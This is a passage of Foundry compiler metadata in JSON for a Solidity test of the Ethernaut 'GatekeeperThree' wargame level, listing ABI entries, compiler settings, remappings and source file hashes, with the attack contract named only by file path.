:[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/GatekeeperThreeAttack.sol\":{\"keccak256\":\"0x4a2495d7e60cd6b2503b8b9bde683b6e4da650175cd46a65b56285a82724ca11\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e42233c330c11eb884c0c692686f3df158212986e227a4285a7b736e82941af8\",\"dweb:/ipfs/QmV6WxghXycT4heL2jycsGekXw32Px9N9ubK93oYyAuc8g\"]},\"src/levels/GatekeeperThree.sol\":{\"keccak256\":\"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5\",\"dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P\"]},\"src/levels/GatekeeperThreeFactory.sol\":{\"keccak256\":\"0x7e4586b97361a54696d955c052ea34ad8f25c008bd79848e229950bec5041159\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6725474b1643e8d7284cf02d2be72a78f939ac5b85d8e55ba4f108a59144e8a1\",\"dweb:/ipfs/QmQQozmRDdg4MJDHDAhMaRcAWHcTTrpro7Dftmdz3S4pJH\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/GatekeeperThree.t.sol\":{\"keccak256\":\"0x4fffcfbf3154f4900adbba1c1f98600a2ac578331b3c5ad1acebf08533091a38\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://36a59ff7770f1bb6f8d67299805c2ef7137bce1f63aed52180cba1401dc3fa45\",\"dweb:/ipfs/QmQDWAY8LRDs597tib8qBwMSTZZYaKU78My5FJ8cMSbhhv\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}", + "metadata": { + "compiler": { + "version": "0.8.24+commit.e11b9ed9" + }, + "language": "Solidity", + "output": { + "abi": [ + { + "inputs": [ + { + "internalType": "string", + "name": "", + "type": "string", + "indexed": false + } + ], + "type": "event", + "name": "log", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "address", + "name": "", + "type": "address", + "indexed": false + } + ], + "type": "event", + "name": "log_address", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "uint256[]", + "name": "val", + "type": "uint256[]", + "indexed": false + } + ], + "type": "event", + "name": "log_array", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "int256[]", + "name": "val", + "type": "int256[]", + "indexed": false + } + ], + "type": "event", + "name": "log_array", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "address[]", + "name": "val", + "type": "address[]", + "indexed": false + } + ], + "type": "event", + "name": "log_array", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "bytes", + "name": "", + "type": "bytes", + "indexed": false + } + ], + "type": "event", + "name": "log_bytes", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "bytes32", + "name": "", + "type": "bytes32", + "indexed": false + } + ], + "type": "event", + "name": "log_bytes32", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "int256", + "name": "", + "type": "int256", + "indexed": false + } + ], + "type": "event", + "name": "log_int", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "address", + "name": "val", + "type": "address", + "indexed": false + } + ], + "type": "event", + "name": "log_named_address", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "uint256[]", + "name": "val", + "type": "uint256[]", + "indexed": false + } + ], + "type": "event", + "name": "log_named_array", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "int256[]", + "name": "val", + "type": "int256[]", + "indexed": false + } + ], + "type": "event", + "name": "log_named_array", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "address[]", + "name": "val", + "type": "address[]", + "indexed": false + } + ], + "type": "event", + "name": "log_named_array", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "bytes", + "name": "val", + "type": "bytes", + "indexed": false + } + ], + "type": "event", + "name": "log_named_bytes", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "bytes32", + "name": "val", + "type": "bytes32", + "indexed": false + } + ], + "type": "event", + "name": "log_named_bytes32", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "int256", + "name": "val", + "type": "int256", + "indexed": false + }, + { + "internalType": "uint256", + "name": "decimals", + "type": "uint256", + "indexed": false + } + ], + "type": "event", + "name": "log_named_decimal_int", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "uint256", + "name": "val", + "type": "uint256", + "indexed": false + }, + { + "internalType": "uint256", + "name": "decimals", + "type": "uint256", + "indexed": false + } + ], + "type": "event", + "name": "log_named_decimal_uint", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "int256", + "name": "val", + "type": "int256", + "indexed": false + } + ], + "type": "event", + "name": "log_named_int", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "string", + "name": "val", + "type": "string", + "indexed": false + } + ], + "type": "event", + "name": "log_named_string", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "key", + "type": "string", + "indexed": false + }, + { + "internalType": "uint256", + "name": "val", + "type": "uint256", + "indexed": false + } + ], + "type": "event", + "name": "log_named_uint", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "string", + "name": "", + "type": "string", + "indexed": false + } + ], + "type": "event", + "name": "log_string", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256", + "indexed": false + } + ], + "type": "event", + "name": "log_uint", + "anonymous": false + }, + { + "inputs": [ + { + "internalType": "bytes", + "name": "", + "type": "bytes", + "indexed": false + } + ], + "type": "event", + "name": "logs", + "anonymous": false + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "IS_TEST", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ] + }, + { + "inputs": [ + { + "internalType": "contract Ethernaut", + "name": "ethernaut", + "type": "address" + }, + { + "internalType": "contract Level", + "name": "level", + "type": "address" + }, + { + "internalType": "uint256", + "name": "value", + "type": "uint256" + } + ], + "stateMutability": "nonpayable", + "type": "function", + "name": "createLevelInstance", + "outputs": [ + { + "internalType": "address", + "name": "instance", + "type": "address" + } + ] + }, + { + "inputs": [ + { + "internalType": "uint256", + "name": "userNum", + "type": "uint256" + } + ], + "stateMutability": "nonpayable", + "type": "function", + "name": "createUsers", + "outputs": [ + { + "internalType": "address payable[]", + "name": "", + "type": "address[]" + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "excludeArtifacts", + "outputs": [ + { + "internalType": "string[]", + "name": "excludedArtifacts_", + "type": "string[]" + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "excludeContracts", + "outputs": [ + { + "internalType": "address[]", + "name": "excludedContracts_", + "type": "address[]" + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "excludeSenders", + "outputs": [ + { + "internalType": "address[]", + "name": "excludedSenders_", + "type": "address[]" + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "failed", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ] + }, + { + "inputs": [ + { + "internalType": "address", + "name": "owner", + "type": "address" + } + ], + "stateMutability": "nonpayable", + "type": "function", + "name": "getEthernautWithStatsProxy", + "outputs": [ + { + "internalType": "contract Ethernaut", + "name": "", + "type": "address" + } + ] + }, + { + "inputs": [], + "stateMutability": "nonpayable", + "type": "function", + "name": "getNextUserAddress", + "outputs": [ + { + "internalType": "address payable", + "name": "", + "type": "address" + } + ] + }, + { + "inputs": [ + { + "internalType": "string", + "name": "contractName", + "type": "string" + } + ], + "stateMutability": "nonpayable", + "type": "function", + "name": "getOldFactory", + "outputs": [ + { + "internalType": "address", + "name": "addr", + "type": "address" + } + ] + }, + { + "inputs": [ + { + "internalType": "uint256", + "name": "numBlocks", + "type": "uint256" + } + ], + "stateMutability": "nonpayable", + "type": "function", + "name": "mineBlocks" + }, + { + "inputs": [], + "stateMutability": "nonpayable", + "type": "function", + "name": "setUp" + }, + { + "inputs": [ + { + "internalType": "contract Ethernaut", + "name": "ethernaut", + "type": "address" + }, + { + "internalType": "address", + "name": "instance", + "type": "address" + } + ], + "stateMutability": "nonpayable", + "type": "function", + "name": "submitLevelInstance", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "targetArtifactSelectors", + "outputs": [ + { + "internalType": "struct StdInvariant.FuzzSelector[]", + "name": "targetedArtifactSelectors_", + "type": "tuple[]", + "components": [ + { + "internalType": "address", + "name": "addr", + "type": "address" + }, + { + "internalType": "bytes4[]", + "name": "selectors", + "type": "bytes4[]" + } + ] + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "targetArtifacts", + "outputs": [ + { + "internalType": "string[]", + "name": "targetedArtifacts_", + "type": "string[]" + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "targetContracts", + "outputs": [ + { + "internalType": "address[]", + "name": "targetedContracts_", + "type": "address[]" + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "targetInterfaces", + "outputs": [ + { + "internalType": "struct StdInvariant.FuzzInterface[]", + "name": "targetedInterfaces_", + "type": "tuple[]", + "components": [ + { + "internalType": "address", + "name": "addr", + "type": "address" + }, + { + "internalType": "string[]", + "name": "artifacts", + "type": "string[]" + } + ] + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "targetSelectors", + "outputs": [ + { + "internalType": "struct StdInvariant.FuzzSelector[]", + "name": "targetedSelectors_", + "type": "tuple[]", + "components": [ + { + "internalType": "address", + "name": "addr", + "type": "address" + }, + { + "internalType": "bytes4[]", + "name": "selectors", + "type": "bytes4[]" + } + ] + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "targetSenders", + "outputs": [ + { + "internalType": "address[]", + "name": "targetedSenders_", + "type": "address[]" + } + ] + }, + { + "inputs": [], + "stateMutability": "nonpayable", + "type": "function", + "name": "testInit" + }, + { + "inputs": [], + "stateMutability": "nonpayable", + "type": "function", + "name": "testSolve" + } + ], + "devdoc": { + "kind": "dev", + "methods": {}, + "version": 1 + }, + "userdoc": { + "kind": "user", + "methods": { + "testInit()": { + "notice": "Check the intial state of the level and enviroment." + }, + "testSolve()": { + "notice": "Test the solution for the level." + } + }, + "version": 1 + } + }, + "settings": { + "remappings": [ + "ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/", + "erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/", + "forge-std/=lib/forge-std/src/", + "openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/", + "openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/", + "openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/", + "openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/", + "openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/" + ], + "optimizer": { + "enabled": true, + "runs": 1000 + }, + "metadata": { + "bytecodeHash": "ipfs" + }, + "compilationTarget": { + "test/levels/GatekeeperThree.t.sol": "TestGatekeeperThree" + }, + "evmVersion": "shanghai", + "libraries": {} + }, + "sources": { + "lib/forge-std/src/Base.sol": { + "keccak256": "0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c", + "urls": [ + "bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224", + "dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdAssertions.sol": { + "keccak256": "0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361", + "urls": [ + "bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c", + "dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdChains.sol": { + "keccak256": "0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef", + "urls": [ + "bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b", + "dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdCheats.sol": { + "keccak256": "0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7", + "urls": [ + "bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2", + "dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdError.sol": { + "keccak256": "0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77", + "urls": [ + "bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6", + "dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdInvariant.sol": { + "keccak256": "0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6", + "urls": [ + "bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d", + "dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdJson.sol": { + "keccak256": "0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d", + "urls": [ + "bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54", + "dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdMath.sol": { + "keccak256": "0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2", + "urls": [ + "bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92", + "dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdStorage.sol": { + "keccak256": "0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3", + "urls": [ + "bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678", + "dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdStyle.sol": { + "keccak256": "0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d", + "urls": [ + "bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8", + "dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdToml.sol": { + "keccak256": "0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab", + "urls": [ + "bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d", + "dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy" + ], + "license": "MIT" + }, + "lib/forge-std/src/StdUtils.sol": { + "keccak256": "0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0", + "urls": [ + "bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61", + "dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX" + ], + "license": "MIT" + }, + "lib/forge-std/src/Test.sol": { + "keccak256": "0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe", + "urls": [ + "bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e", + "dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK" + ], + "license": "MIT" + }, + "lib/forge-std/src/Vm.sol": { + "keccak256": "0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f", + "urls": [ + "bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59", + "dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT" + ], + "license": "MIT OR Apache-2.0" + }, + "lib/forge-std/src/console.sol": { + "keccak256": "0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba", + "urls": [ + "bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70", + "dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec" + ], + "license": "MIT" + }, + "lib/forge-std/src/console2.sol": { + "keccak256": "0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea", + "urls": [ + "bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973", + "dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF" + ], + "license": "MIT" + }, + "lib/forge-std/src/interfaces/IERC165.sol": { + "keccak256": "0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600", + "urls": [ + "bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc", + "dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT" + ], + "license": "MIT" + }, + "lib/forge-std/src/interfaces/IERC20.sol": { + "keccak256": "0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947", + "urls": [ + "bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7", + "dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9" + ], + "license": "MIT" + }, + "lib/forge-std/src/interfaces/IERC721.sol": { + "keccak256": "0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15", + "urls": [ + "bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f", + "dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm" + ], + "license": "MIT" + }, + "lib/forge-std/src/interfaces/IMulticall3.sol": { + "keccak256": "0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a", + "urls": [ + "bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0", + "dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2" + ], + "license": "MIT" + }, + "lib/forge-std/src/mocks/MockERC20.sol": { + "keccak256": "0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b", + "urls": [ + "bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f", + "dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw" + ], + "license": "MIT" + }, + "lib/forge-std/src/mocks/MockERC721.sol": { + "keccak256": "0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9", + "urls": [ + "bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b", + "dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN" + ], + "license": "MIT" + }, + "lib/forge-std/src/safeconsole.sol": { + "keccak256": "0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381", + "urls": [ + "bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae", + "dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/access/Ownable.sol": { + "keccak256": "0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673", + "urls": [ + "bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2", + "dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol": { + "keccak256": "0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff", + "urls": [ + "bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688", + "dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol": { + "keccak256": "0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d", + "urls": [ + "bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5", + "dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol": { + "keccak256": "0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a", + "urls": [ + "bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8", + "dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol": { + "keccak256": "0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27", + "urls": [ + "bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472", + "dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol": { + "keccak256": "0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61", + "urls": [ + "bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354", + "dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol": { + "keccak256": "0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9", + "urls": [ + "bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1", + "dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/utils/Address.sol": { + "keccak256": "0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10", + "urls": [ + "bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487", + "dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/utils/Context.sol": { + "keccak256": "0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7", + "urls": [ + "bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92", + "dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol": { + "keccak256": "0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d", + "urls": [ + "bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4", + "dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": { + "keccak256": "0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794", + "urls": [ + "bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e", + "dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv" + ], + "license": "MIT" + }, + "lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": { + "keccak256": "0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422", + "urls": [ + "bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b", + "dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq" + ], + "license": "MIT" + }, + "src/Ethernaut.sol": { + "keccak256": "0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0", + "urls": [ + "bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2", + "dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v" + ], + "license": "MIT" + }, + "src/attacks/GatekeeperThreeAttack.sol": { + "keccak256": "0x4a2495d7e60cd6b2503b8b9bde683b6e4da650175cd46a65b56285a82724ca11", + "urls": [ + "bzz-raw://e42233c330c11eb884c0c692686f3df158212986e227a4285a7b736e82941af8", + "dweb:/ipfs/QmV6WxghXycT4heL2jycsGekXw32Px9N9ubK93oYyAuc8g" + ], + "license": "MIT" + }, + "src/levels/GatekeeperThree.sol": { + "keccak256": "0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67", + "urls": [ + "bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5", + "dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P" + ], + "license": "MIT" + }, + "src/levels/GatekeeperThreeFactory.sol": { + "keccak256": 